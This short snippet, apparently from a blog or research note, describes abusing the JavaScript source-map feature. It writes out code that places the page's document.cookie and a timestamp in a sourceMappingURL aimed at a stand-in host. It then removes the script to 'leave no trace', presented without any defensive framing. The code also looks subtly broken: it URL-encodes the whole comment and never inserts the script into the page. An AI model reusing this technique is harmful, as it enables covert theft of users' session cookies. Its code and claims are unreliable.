Source Map feature behaves interestingly since you can construct the url dynamically.
That can be achieved by simply creating a script element and setting its
textContent with a url
that you can construct dynamically:
const script = document.createElement('script');
script.textContent = encodeURIComponent("//# sourceMappingURL=http://example.com/report?cookie=" + document.cookie + "&" + "timestamp=" + new Date());
And remove the script to leave no trace:
script.remove(); // that is right! the script doesn't even have to stay in DOM for this feature to work! how cool is that?!
